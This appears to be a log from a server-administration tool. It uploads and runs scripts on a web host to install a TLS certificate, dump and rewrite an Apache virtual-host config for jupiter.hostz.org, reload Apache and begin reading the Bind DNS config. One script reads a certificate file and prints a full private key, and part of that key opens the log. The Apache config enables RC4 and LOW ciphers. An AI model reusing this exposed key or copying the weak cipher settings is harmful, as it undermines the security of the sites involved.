8mfIoHDnLwWAI2PZVIL7cP4D//JxPU1QJ87jA7bSobBcQUAvN+96ZaQcUHIRzSv/
J+u8+nplsgthVuMH+4cE+cDzo+BBTQZAa+vPWRFScrh1YagwnuX/D145oCgsNDGD
Fl0pNrjlAgMBAAECggEAGJI73On4pkuWmWN0uxYyQuCapqaEXNgVpg0ZPoFFVARK
Fkpxl8ntVSEjoBe9Ng55Sg5DkWOFDbmHDbvYwqdye1Imjpm8G/QOypJHPAM3JIJ7
pA/fTJfkcNsu0Xle9ffa51PUHim6HlIQwTA+52wKd2RrocYYtNtzZdXd7bS5iMBw
pdO0gQ8UC7QmGmW/eSu6EnzEXmOeDy5WwYcIE9Jll/d9UEkW5eAYLvOohh4YctuH
fA1lkijbPqYP0eW6DIkMEM+WX4FPL9WmSm4Tu7wbA35dOJYRao+ozwSIGGVR9LOz
8v400XfqJVWeJlbQxe5geZ4hgL0CXzlZ39Tp+AgU8wKBgQD/Pqk2ZAFhc1gakk9n
1h/dFWpWB+Zy3AjtF+MrbOYeWMN2966BvKt+d9EewOH4CWQok3KTIkcBNFsurZCh
Ywo+aWZkChA9bqgjTG7vST0feP/9Q0j+vE2odhh21IWeW6sfPurXMZUfH2bysOKx
tLxsynYi86dTlBWMjSc0KLT0QwKBgQDFmcYElUKpfOSxlUKw72ipJmavbbuwrH5e
LMJDBMA+qAGvFRL0B0y6sJMgFmMp36qXFinmNtWQwOwVqJC0xsnOgygGLAmnkG+G
wvdvP5yB8nZd5JJY2gePc7rfAcX4CsIYaH9hJJwKNu/pyao6mUpF9wTIfKhZLugI
mhO/wBgftwKBgEzIidjN3sh1DWT47KA8/trgLVvyBnY5EQpZ7EHNAbDRXQO14K4w
lpp16tfIiHG4SYQXTxlJ73hCSsfQ+LhD9fnudRnVGSuR1UzBGoIrUxLbsI58pkHT
Xb02wYdFyWhpBSJiJ/1SchypsquBYMC6sRA9G6rKB2USICVm9Qswz7bHAoGBAJ8E
NLqTc2X5wAC44UaKI2ucH56lbBmtdrRKyLouJJdHlLNU/j+rcC/80SlNWtfjyuBz
UZyWHB+1YUe8s1cHcnfiTF9LKSnTriyA0aaRRl28xUyiGLOwIc1rkMLOJoaKAdCq
p3eBgqElvMQjKf6mRYMwWoUM7F14xfnGJIZ3C/LZAoGBAMOYjzmkmgUGa2U+AYSj
QljQ8CeSxys09Y4T1Oatg4urUgK4QRyXGx6U8B2IRePAgTpqJ70EUqFTzQYFwBpR
BrNMf/yEzlX5ZsavnD21F8r2p32/9xbUPO/GhRJZjqAFj+YA9vwnP6hbqinmt15h
cQ2pqdGCO+6nrer4aKuN6vHe
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-20 10:24:10: 

chmod 755 /tmp/pkp194555; /tmp/pkp194555; rm /tmp/pkp194555

2026-04-20 10:24:10: 


dir=/etc/ssl/certs


2026-04-20 10:24:10: 

PUT: /tmp/pkp655893

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_jupiter_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-20 10:24:10: 

chmod 755 /tmp/pkp655893; /tmp/pkp655893; rm /tmp/pkp655893

2026-04-20 10:24:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf 41

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-20 10:24:10: 

PUT: /tmp/pkp319886

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_jupiter_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_jupiter_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_jupiter_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_jupiter_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf= 1'
fi


2026-04-20 10:24:10: 

chmod 755 /tmp/pkp319886; /tmp/pkp319886; rm /tmp/pkp319886

2026-04-20 10:24:10: 




2026-04-20 10:24:10: 

PUT: /tmp/pkp296297

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-20 10:24:10: 

chmod 755 /tmp/pkp296297; /tmp/pkp296297; rm /tmp/pkp296297

2026-04-20 10:24:11: 


.


2026-04-20 10:24:11: Establishing a connection
2026-04-20 10:24:11: 

PUT: /tmp/pkp930239

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-20 10:24:11: 

chmod 755 /tmp/pkp930239; /tmp/pkp930239; rm /tmp/pkp930239

2026-04-20 10:24:11: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-04-20 10:24:11: 

PUT: /tmp/pkp655327

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_jupiter_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 10:24:11: 

chmod 755 /tmp/pkp655327; /tmp/pkp655327; rm /tmp/pkp655327

2026-04-20 10:24:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf	1307

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-20 10:24:11: 

PUT: /tmp/pkp246395

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 10:24:11: 

chmod 755 /tmp/pkp246395; /tmp/pkp246395; rm /tmp/pkp246395

2026-04-20 10:24:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5349
0a:3f:2d:94:60:5a:67:3b:cd:a7:75:45:60:b3:14:6f

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBgkBMdUmt7wBR4mf560iAJq9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDIwMDkyNTM5WhcNMjYwNzE5MDkyNTM4WjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMUEihkFI3qkzm8otHyvgD67MHILRp+36kSFl5h4RDG5sC5/IJCvzpvl5vNf
nbWKbsxKiBPkM3e121zo6pujo7DHQjhK4PeQdXjyeqE4zhTxHJjkfv0j4QQTWJR3
WHnc+rppoKDLuAbFYrcZ27BZgtsdxWetxE0d10rBVeI8BJ59L2Qq1hUMw9Fgg0HM
EUCJPJb0bMac2A9IYmTyZ8igcOcvBYAjY9lUgvtw/gP/8nE9TVAnzuMDttKhsFxB
QC8373plpBxQchHNK/8n67z6emWyC2FW4wf7hwT5wPOj4EFNBkBr689ZEVJyuHVh
qDCe5f8PXjmgKCw0MYMWXSk2uOUCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRS
hECdd1wxGCRPKsvbb/PhEF3PrDAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc
6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEWp1cGl0ZXIuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5j
ci5vcmcvNjIuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAyKPEf8ezrbk1
awE/anoSbeM6TkOlxkb5l605dZkdz5oAAAGdqmtC5gAABAMARzBFAiBReNrzEeYa
a0xKA8lDo96MZ1C89baOSPYQokC+3AUElgIhAIgSg4sui12Sw1rb9H+XHj33+p1z
8+MijFzFNWrMeOpbAH8AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScA
AAGdqmtDGQAIAAAFAAeYBOAEAwBIMEYCIQD8bgI2lh2sAVEKpX/lwW8BMBxsJ+WV
2ht2IU4voW8MqgIhAJFQGAYoQ+OFdDPBHA9GLU0loa1M4BMQtNsbiV2blaw9MA0G
CSqGSIb3DQEBCwUAA4IBAQBoGjE6vFLjMY2joDVbOn6tWSspTHFk65mDLZ6iALxm
nHlpI/j6PIK15wciTEcynUCviZvhnp8IP/LV0USyboZewomAZ0ASpLZ1gsSOVohi
RvRiij+Ok0so3k7y4D7gaOfKVF2mbGjkpsx0tsNQuA97OOOMtim90f+wWFRT9cjS
Re56tpTeWUh51Sj/4RYI+1BBm7rbOjrh71SDlNxyydEUZgl/nvbmvlEa2AMCaFC7
0AaDXmV4HW9JvG1N6Se1WnFjVtXCGViL4H2VH0t+3lQPDVkZjZaVwXC37lmP/byY
BS1HccoTjTcCkwV2dWVx9d6o/PpkLJxVamMpEsprzzxX
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDFBIoZBSN6pM5v
KLR8r4A+uzByC0aft+pEhZeYeEQxubAufyCQr86b5ebzX521im7MSogT5DN3tdtc
6Oqbo6Owx0I4SuD3kHV48nqhOM4U8RyY5H79I+EEE1iUd1h53Pq6aaCgy7gGxWK3
GduwWYLbHcVnrcRNHddKwVXiPASefS9kKtYVDMPRYINBzBFAiTyW9GzGnNgPSGJk
8mfIoHDnLwWAI2PZVIL7cP4D//JxPU1QJ87jA7bSobBcQUAvN+96ZaQcUHIRzSv/
J+u8+nplsgthVuMH+4cE+cDzo+BBTQZAa+vPWRFScrh1YagwnuX/D145oCgsNDGD
Fl0pNrjlAgMBAAECggEAGJI73On4pkuWmWN0uxYyQuCapqaEXNgVpg0ZPoFFVARK
Fkpxl8ntVSEjoBe9Ng55Sg5DkWOFDbmHDbvYwqdye1Imjpm8G/QOypJHPAM3JIJ7
pA/fTJfkcNsu0Xle9ffa51PUHim6HlIQwTA+52wKd2RrocYYtNtzZdXd7bS5iMBw
pdO0gQ8UC7QmGmW/eSu6EnzEXmOeDy5WwYcIE9Jll/d9UEkW5eAYLvOohh4YctuH
fA1lkijbPqYP0eW6DIkMEM+WX4FPL9WmSm4Tu7wbA35dOJYRao+ozwSIGGVR9LOz
8v400XfqJVWeJlbQxe5geZ4hgL0CXzlZ39Tp+AgU8wKBgQD/Pqk2ZAFhc1gakk9n
1h/dFWpWB+Zy3AjtF+MrbOYeWMN2966BvKt+d9EewOH4CWQok3KTIkcBNFsurZCh
Ywo+aWZkChA9bqgjTG7vST0feP/9Q0j+vE2odhh21IWeW6sfPurXMZUfH2bysOKx
tLxsynYi86dTlBWMjSc0KLT0QwKBgQDFmcYElUKpfOSxlUKw72ipJmavbbuwrH5e
LMJDBMA+qAGvFRL0B0y6sJMgFmMp36qXFinmNtWQwOwVqJC0xsnOgygGLAmnkG+G
wvdvP5yB8nZd5JJY2gePc7rfAcX4CsIYaH9hJJwKNu/pyao6mUpF9wTIfKhZLugI
mhO/wBgftwKBgEzIidjN3sh1DWT47KA8/trgLVvyBnY5EQpZ7EHNAbDRXQO14K4w
lpp16tfIiHG4SYQXTxlJ73hCSsfQ+LhD9fnudRnVGSuR1UzBGoIrUxLbsI58pkHT
Xb02wYdFyWhpBSJiJ/1SchypsquBYMC6sRA9G6rKB2USICVm9Qswz7bHAoGBAJ8E
NLqTc2X5wAC44UaKI2ucH56lbBmtdrRKyLouJJdHlLNU/j+rcC/80SlNWtfjyuBz
UZyWHB+1YUe8s1cHcnfiTF9LKSnTriyA0aaRRl28xUyiGLOwIc1rkMLOJoaKAdCq
p3eBgqElvMQjKf6mRYMwWoUM7F14xfnGJIZ3C/LZAoGBAMOYjzmkmgUGa2U+AYSj
QljQ8CeSxys09Y4T1Oatg4urUgK4QRyXGx6U8B2IRePAgTpqJ70EUqFTzQYFwBpR
BrNMf/yEzlX5ZsavnD21F8r2p32/9xbUPO/GhRJZjqAFj+YA9vwnP6hbqinmt15h
cQ2pqdGCO+6nrer4aKuN6vHe
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-20 13:03:15: Establishing a connection
2026-04-20 13:03:42: Establishing a connection
2026-04-20 13:03:43: 

PUT: /tmp/pkp221219

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
